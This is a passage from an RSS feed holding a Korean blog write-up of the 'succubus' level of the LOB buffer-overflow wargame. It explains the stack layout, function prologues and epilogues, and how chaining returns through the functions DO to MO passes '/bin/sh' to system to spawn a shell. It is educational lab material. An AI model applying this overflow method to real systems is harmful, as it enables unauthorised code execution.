14pt;&quot;&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;44&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;);&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;memset(buffer&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;48&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;100&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0xbfffffff&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;(&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;int&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;)(buffer&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;48&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;100&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;);&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;vertical-align:bottom; padding:0 2px 4px 0&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;text-decoration:none; color:white&quot;&gt;&lt;span style=&quot;font-size: 14pt; word-break: normal; background-color: rgb(79, 79, 79); color: white; border-radius: 10px; padding: 1px;&quot;&gt;cs&lt;/span&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;buffer 이전의 메모리도 0으로 초기화한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;div class=&quot;colorscripter-code&quot; style=&quot;color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; position:relative !important; overflow:auto&quot;&gt;&lt;table class=&quot;colorscripter-code-table&quot; style=&quot;margin:0; padding:0; border:none; background-color:#272727; border-radius:4px;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;padding:6px; border-right:2px solid #4f4f4f&quot;&gt;&lt;div style=&quot;margin:0; padding:0; word-break:normal; text-align:right; color:#aaa; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;padding:6px 0&quot;&gt;&lt;div style=&quot;margin:0; padding:0; color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;memset(buffer&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;3000&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;3000&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;40&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;);&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;vertical-align:bottom; padding:0 2px 4px 0&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;text-decoration:none; color:white&quot;&gt;&lt;span style=&quot;font-size: 14pt; word-break: normal; background-color: rgb(79, 79, 79); color: white; border-radius: 10px; padding: 1px;&quot;&gt;cs&lt;/span&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;succubus의 메모리 구조를 예상해보면 아래와 같다.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 556px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99F3FF4E5BA324551B&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99F3FF4E5BA324551B&quot; width=&quot;556&quot; height=&quot;907&quot; filename=&quot;이미지 004.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;실제 변수가 할당될 때, gcc가 최적화를 위해 자동적으로 dummy를 생성할 수 있다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;gdb를 이용해 succubus를 분석해보자. succubus를 gdb로 실행하는 도중 permission denied가 발생하면 cp 명령을 이용하여 파일을 복사하면 된다. 현재 user의 권한으로 똑같은 파일을 가질 수 있기 때문이다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 910px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/991DB4425BA324BA2F&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F991DB4425BA324BA2F&quot; width=&quot;910&quot; height=&quot;101&quot; filename=&quot;이미지 005.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;위와 같이 succubuscp가 zombie_assassin의 권한으로 복사된 것을 확인할 수 있다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;dummy가 생성되었는지 gdb를 통해 확인해보자.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 585px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99C509395BA330BB12&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99C509395BA330BB12&quot; width=&quot;585&quot; height=&quot;750&quot; filename=&quot;이미지 006.png&quot; filemime=&quot;image/jpeg&quot; style=&quot;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;dummy가 추가적으로 생성되지 않고 정확히 44(0x2C) byte가 생성된 것을 확인할 수 있다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;우리가 사용할 수 있는 공간은 m&lt;span style=&quot;background-color: rgb(228, 247, 186);&quot;&gt;ain RET이 스택에 저장된 곳부터 100byte&lt;/span&gt;를 사용할 수 있고,&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;함수는 다음과 같은 순서대로 실행되어야한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;span style=&quot;background-color: rgb(228, 247, 186);&quot;&gt;main -&amp;gt; DO -&amp;gt; GYE -&amp;gt; GUL -&amp;gt; YUT -&amp;gt; MO &lt;/span&gt;순서로 실행되고, &lt;span style=&quot;background-color: rgb(228, 247, 186);&quot;&gt;MO의 parameter로 &quot;/bin/sh&quot;&lt;/span&gt;가 전달되어야 한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;우리가 진행해야 할 과정을 간략하게 나타내면 아래와 같이 나타낼 수 있다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 1000px; text-align: center;; height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/9942B74E5BA34AA62B&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F9942B74E5BA34AA62B&quot; width=&quot;1000&quot; height=&quot;405&quot; filename=&quot;이미지 029.png&quot; filemime=&quot;image/jpeg&quot; style=&quot;text-align: center;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;이렇게 연속된 함수 호출과정에서는 프롤로그와 에필로그를 이해하는 것이 매우 중요하다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt; background-color: rgb(255, 217, 250);&quot;&gt;프롤로그&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt; background-color: rgb(228, 247, 186);&quot;&gt;push ebp&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt; background-color: rgb(228, 247, 186);&quot;&gt;mo&lt;/span&gt;&lt;span style=&quot;font-size: 18.6667px; background-color: rgb(228, 247, 186);&quot;&gt;v esp, eb&lt;/span&gt;&lt;span style=&quot;font-size: 14pt; background-color: rgb(228, 247, 186);&quot;&gt;p&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt; background-color: rgb(255, 217, 250);&quot;&gt;에필로그&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt; background-color: rgb(228, 247, 186);&quot;&gt;leave&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt; background-color: rgb(228, 247, 186);&quot;&gt;ret&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;에필로그의 &lt;span style=&quot;background-color: rgb(255, 217, 250);&quot;&gt;leave 명령어&lt;/span&gt;는 아래와 같다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt; background-color: rgb(255, 217, 250);&quot;&gt;leave&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt; background-color: rgb(228, 247, 186);&quot;&gt;mov ebp, esp&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt; background-color: rgb(228, 247, 186);&quot;&gt;pop ebp&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;에필로그의 &lt;span style=&quot;background-color: rgb(255, 217, 250);&quot;&gt;ret&lt;/span&gt;&lt;span style=&quot;background-color: rgb(255, 217, 250);&quot;&gt;&lt;span style=&quot;background-color: rgb(255, 217, 250);&quot;&gt;&amp;nbsp;&lt;/span&gt;명령어&lt;/span&gt;는 아래와 같다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt; background-color: rgb(255, 217, 250);&quot;&gt;ret&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt; background-color: rgb(228, 247, 186);&quot;&gt;pop eip&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt; background-color: rgb(228, 247, 186);&quot;&gt;jmp eip&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;main 함수에서 DO 함수로 분기를 할 때, main의 에필로그를 통해 &lt;span style=&quot;background-color: rgb(228, 247, 186);&quot;&gt;ebp에 0x00000000&lt;/span&gt;이 들어있다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;DO함수의 에필로그를 만나 ebp가 다시 push 되고 pop 되는 행위를 반복하므로 &lt;span style=&quot;background-color: rgb(228, 247, 186);&quot;&gt;payload에서 SFP에 대한 코드는 필요없다.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;각 함수 DO, GYE, GUL, YUT,&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;MO의 주소는 gdb를 통해 알 수 있다.&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 962px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/997BCF365BA360F013&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F997BCF365BA360F013&quot; width=&quot;962&quot; height=&quot;268&quot; filename=&quot;이미지 031.png&quot; filemime=&quot;image/jpeg&quot; style=&quot;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;각 함수의 주소를 모두 알았다. MO 함수에서 system 함수를 호출하는데 system 함수의 인자로 MO 함수의 parameter가 전달된다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;parameter를 전달하기 위해 공간을 찾아보았지만, 가능한 경우는 첫 번째 인자를 통해 전달하는 방법만 존재한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 1000px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/995C184B5BA37AFF15&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F995C184B5BA37AFF15&quot; width=&quot;1000&quot; height=&quot;77&quot; filename=&quot;이미지 032.png&quot; filemime=&quot;image/jpeg&quot; style=&quot;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;다음과 같은 payload로 공격하며 될 것이다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;span style=&quot;background-color: rgb(228, 247, 186);&quot;&gt;&quot;/bin/sh&quot;가 어느 주소에 위치&lt;/span&gt;해 있는지 확인하기 위해 gdb를 통해 확인해보자.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 1000px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/990A3D4E5BA37DE00D&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F990A3D4E5BA37DE00D&quot; width=&quot;1000&quot; height=&quot;162&quot; filename=&quot;이미지 035.png&quot; filemime=&quot;image/jpeg&quot; style=&quot;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;span style=&quot;background-color: rgb(228, 247, 186);&quot;&gt;&quot;/bin/sh&quot;가 위치해 있는 주소는 0xbffffa78&lt;/span&gt; 번지이다. 따라서 &lt;span style=&quot;background-color: rgb(228, 247, 186);&quot;&gt;&quot;BBBB&quot;를 &amp;amp;&quot;/bin/sh&quot;&lt;/span&gt;로 바꾸어 실행하면 공격에 성공할 것이다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 1000px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99CA5B4E5BA37CE129&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99CA5B4E5BA37CE129&quot; width=&quot;1000&quot; height=&quot;162&quot; filename=&quot;이미지 034.png&quot; filemime=&quot;image/jpeg&quot; style=&quot;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;/span&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;보정 작업을 통해 공격에 성공할 수 있다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;</description>
      <category>Wargame/LOB</category>
      <author>MarcoKhan</author>
      <guid isPermaLink="true">https://marcokhan.tistory.com/217</guid>
      <comments>https://marcokhan.tistory.com/217#entry217comment</comments>
      <pubDate>Thu, 20 Sep 2018 13:43:27 +0900</pubDate>
    </item>
  </channel>
</rss>